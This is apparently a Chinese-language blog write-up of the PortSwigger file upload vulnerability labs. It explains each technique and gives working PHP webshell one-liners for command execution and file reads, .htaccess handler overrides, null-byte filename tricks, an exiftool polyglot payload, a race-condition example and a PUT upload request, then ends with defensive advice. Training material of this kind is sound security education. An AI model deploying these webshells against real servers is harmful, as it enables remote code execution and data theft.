1cePeak

char nick[7] = "1ceP3ak";

printf("https://github.com/%s\n",nick);

printf("%s\x40icep3ak\x2e\\\bch\n",nick);

puts("5E12 9ABC C2A9 564B C048 2DF9 D327 0D10 BC71 CF75");

Portswigger-File Upload Vulnerabilities

Jan 6, 2022 • Portswigger,靶场

文件上传漏洞

什么是文件上传漏洞

文件上传漏洞是指 Web 服务器允许用户在没有充分验证文件名称、类型、内容或大小等内容的情况下将文件上传到其文件系统。未能正确执行这些限制可能意味着即使是基本的图像上传功能也可用于上传任意且具有潜在危险的文件。这甚至可以包括启用远程代码执行的服务器端脚本文件。

在某些情况下,上传文件的行为本身就足以造成损害。其他攻击可能涉及对文件的后续 HTTP 请求,通常是为了触发服务器执行该文件。

文件上传漏洞有什么影响

文件上传漏洞的影响一般取决于两个关键因素:

  • 网站未能正确验证文件的哪个方面,无论是其大小、类型、内容等。
  • 文件成功上传后会受到哪些限制。

在最坏的情况下,文件的类型没有得到正确验证,服务器配置允许某些类型的文件(例如.php.jsp)作为代码执行。在这种情况下,攻击者可能会上传一个充当webshell的服务器端代码文件,从而有效地授予他们对服务器的完全控制权。

如果文件名没有得到正确验证,这可能允许攻击者通过上传同名文件来覆盖关键文件。如果服务器也容易受到目录遍历的攻击,这可能意味着攻击者甚至可以将文件上传到意外位置。

未能确保文件大小在预期阈值范围内还可能导致某种形式的拒绝服务 (DoS) 攻击,攻击者借此填满可用的磁盘空间。

实验1:无限制文件类型

利用PHP中的one-liner直接读文件

<?php echo file_get_contents('/path/to/target/file'); ?>

到这里,再来回顾一下更为通用的webshell、

<?php echo system($_GET['command']); ?>

此脚本使您能够通过查询参数传递任意系统命令,如下所示:

GET /example/exploit.php?command=id HTTP/1.1

实验2:限制上传文件类型,仅为图片

上传一句话木马图片,BP抓包改后缀为php

实验3:通过路径遍历上传webshell

服务器禁止当前文件上传的路径执行文件,没有执行脚本并返回输出结果,而是将 PHP 文件的内容作为纯文本返回。此时我们可以通过路径遍历将webshell上传到可以执行文件的目录

实验4:通过扩展黑名单绕过webshell上传

.htaccess是什么?

htaccess文件是Apache服务器的配置文件,负责相关目录下的配置页面。通过htaccess文件,可以帮助我们实现:页面301重定向、自定义404错误页面、更改文件扩展名允许/阻止特定用户或目录访问、禁止目录列表、配置默认文档等功能。

简单来说就是我上传了一个.htaccess文件到服务器,经过php服务器后会解析成特定格式的文件格式。

//方法一
SetHandler application/x-httpd-php  	//所有的文件当做php文件来解析
//方法二
AddType application/x-httpd-php .jpg	//.jpg文件当作php文件解析

所以可以利用这一特性将我们上传的jpg头像文件作为php文件来解析

实验5:通过混淆文件扩展名上传webshell

在Content-Disposition标头中,更改filename参数的值以包含 URL 编码的空字节,后跟.jpg扩展名:filename=”exploit.php%00.jpg”

文件上传成功以后发现该文件为exploit.php,这表明空字节和.jpg 扩展名已被剥离。类似的还有exploit.p.phphp

实验6:通过多语言webshell上传远程执行代码

创建一个多语言 PHP/JPG 文件,该文件基本上是一个普通图像,但在其元数据中包含PHP有效攻击载荷。

exiftool -Comment=”<?php echo ‘START ‘ . file_get_contents(‘/home/carlos/secret’) . ‘ END’; ?>” 1.jpg -o 1.php

这会将PHP攻击载荷添加到图像的Comment字段中,然后使用.php扩展名保存图像。

实验6:通过条件竞争上传webshell

尽管它对上传的任何文件执行强大的验证,但可以通过在处理它们的方式中利用竞争条件来完全绕过此验证。

引入这种竞争条件的易受攻击的代码如下:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

从上面的源代码可以看出,上传的文件被移动到一个可访问的文件夹中,在那里进行病毒检查。只有在病毒检查完成后才会删除恶意文件。这意味着可以在文件被删除之前在小时间窗口中执行文件。

由于这种竞争条件的时间窗口很大,可以通过使用Burp Repeater手动快速连续发送两个请求来解决这个问题。

实验7:使用 PUT 上传文件

值得注意的是,某些 Web 服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这可以提供上传恶意文件的替代方法,即使上传功能无法通过 Web 界面使用。

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

总结

允许用户上传文件是司空见惯的事,只要采取正确的预防措施,就不一定会有危险。一般来说,保护自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名。猜测您可能希望允许哪些扩展比猜测攻击者可能尝试上传哪些扩展要容易得多。
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

The quieter you are, The more you can hear!